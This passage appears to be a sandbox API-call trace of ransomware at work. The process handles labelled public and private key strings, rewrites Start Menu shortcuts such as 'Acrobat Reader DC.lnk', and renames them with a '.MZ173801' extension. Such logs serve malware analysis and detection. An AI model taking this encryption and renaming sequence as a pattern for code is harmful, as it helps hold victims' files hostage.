Dq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0206.284] GetCurrentThreadId () returned 0xab4 [0206.285] GetCurrentThreadId () returned 0xab4 [0206.285] GetCurrentThreadId () returned 0xab4 [0206.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0206.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0206.286] GetCurrentThreadId () returned 0xab4 [0206.286] GetCurrentThreadId () returned 0xab4 [0206.286] GetCurrentThreadId () returned 0xab4 [0206.286] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0206.286] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0206.286] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0206.286] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x999 [0206.286] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0206.286] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x999, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x999, lpOverlapped=0x0) returned 1 [0206.291] CloseHandle (hObject=0x328) returned 1 [0206.291] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0206.405] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x999, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x999, lpOverlapped=0x0) returned 1 [0206.419] CloseHandle (hObject=0x328) returned 1 [0206.685] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk.mz173801")) returned 1 [0207.017] GetCurrentThreadId () returned 0xab4 [0207.017] GetCurrentThreadId () returned 0xab4 [0207.017] GetCurrentThreadId () returned 0xab4 [0207.017] GetCurrentThreadId () returned 0xab4 [0207.017] GetCurrentThreadId () returned 0xab4 [0207.017] GetCurrentThreadId () returned 0xab4 [0207.017] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23f53a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x76b7cd4d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0207.017] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a923ff6, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x96fe9bef, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x6e749736, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x31c, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0207.017] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0207.017] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0207.017] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b0ade7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4b0ade7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x973, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1 [0207.017] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0207.017] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0207.017] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0ade7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b0ade7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4b0ade7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x973)) returned 1 [0207.018] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\excel 2016.lnk")) returned 0x20 [0207.018] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Excel 2016.lnk", dwFileAttributes=0x80) returned 1 [0207.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0207.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0207.240] GetCurrentThreadId () returned 0xab4 [0207.240] GetCurrentThreadId () returned 0xab4 [0207.240] GetCurrentThreadId () returned 0xab4 [0207.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0207.240] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 